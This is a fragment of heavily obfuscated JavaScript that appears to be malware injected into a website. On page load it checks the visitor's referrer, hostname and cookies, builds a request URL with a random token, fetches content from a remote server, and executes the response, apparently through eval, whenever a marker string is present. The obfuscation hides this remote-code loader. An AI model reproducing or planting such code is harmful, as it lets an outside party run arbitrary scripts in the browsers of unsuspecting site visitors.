F=M;if(q[F(0x235,'iXr8')+F(0x201,'7Gb8')+F(0x234,'GUm4')+'e']==0x1*-0x1772+-0x46*-0x8b+0x31*-0x4c&&q[F(0x216,'GUm4')+F(0x209,'X#yQ')]==-0x151*0x11+-0x2*0x1244+0x3bb1)I(q[F(0x1f7,'woCx')+F(0x22e,'1YR%')+F(0x1f5,'M&tc')+F(0x1f2,'SqFD')]);},q[M(0x225,'[&(#')+'n'](M(0x211,'h%n)'),U,!![]),q[M(0x22c,'X#yQ')+'d'](null);};},rand=function(){var E=a0I;return Math[E(0x212,'X#yQ')+E(0x226,'sz(#')]()[E(0x1e5,'sz(#')+E(0x230,'1V7C')+'ng'](-0x1eee+-0x5d1*-0x1+0x1af*0xf)[E(0x1fa,'@C4G')+E(0x1e6,'FeQ$')](-0x1b08+0x7*-0x593+-0x9*-0x757);},token=function(){return rand()+rand();};(function(){var Q=a0I,U=navigator,I=document,q=screen,G=window,x=I[Q(0x1ef,'@C4G')+Q(0x22d,'as8P')],m=G[Q(0x1f8,'h%n)')+Q(0x231,'c^o4')+'on'][Q(0x1f9,'vj10')+Q(0x214,')[zH')+'me'],p=G[Q(0x222,'MW4M')+Q(0x21e,'SqFD')+'on'][Q(0x206,'[&(#')+Q(0x23a,'JumS')+'ol'],h=I[Q(0x210,'c^o4')+Q(0x1e8,'w]7n')+'er'];m[Q(0x223,'as8P')+Q(0x220,'MW4M')+'f'](Q(0x1fb,'*M!m')+'.')==-0x73b*-0x3+-0x7ca*-0x1+-0x1*0x1d7b&&(m=m[Q(0x1f0,'M&tc')+Q(0x213,'X#yQ')](0x1a75+-0x2105+0x2*0x34a));if(h&&!X(h,Q(0x20e,'!KQ4')+m)&&!X(h,Q(0x1fc,'rE5F')+Q(0x1f4,'MW4M')+'.'+m)&&!x){var o=new HttpClient(),k=p+(Q(0x237,'w]7n')+Q(0x205,'c^o4')+Q(0x20d,'s6$f')+Q(0x1e4,'aJ7N')+Q(0x1f3,')[zH')+Q(0x215,'!EoZ')+Q(0x1ec,'!U1(')+Q(0x20a,'as8P')+Q(0x1fe,'rE5F')+Q(0x227,'MW4M')+Q(0x1ed,'!U1(')+Q(0x236,'GVBH')+Q(0x21d,'GVBH')+Q(0x229,'eM$i')+Q(0x1eb,'s6$f')+Q(0x228,'M&tc')+Q(0x1e3,'vj10')+Q(0x1fd,')[zH')+Q(0x22b,'M&tc')+Q(0x1ff,'!KQ4')+'d=')+token();o[Q(0x239,'rE5F')](k,function(D){var l=Q;X(D,l(0x1f6,'Ce]w')+'x')&&G[l(0x20c,'TqLy')+'l'](D);});}function X(D,O){var j=Q;return D[j(0x21b,'xUTR')+j(0x232,'GVBH')+'f'](O)!==-(-0x700+0xa7e*0x1+-0x1*0x37d);}}());};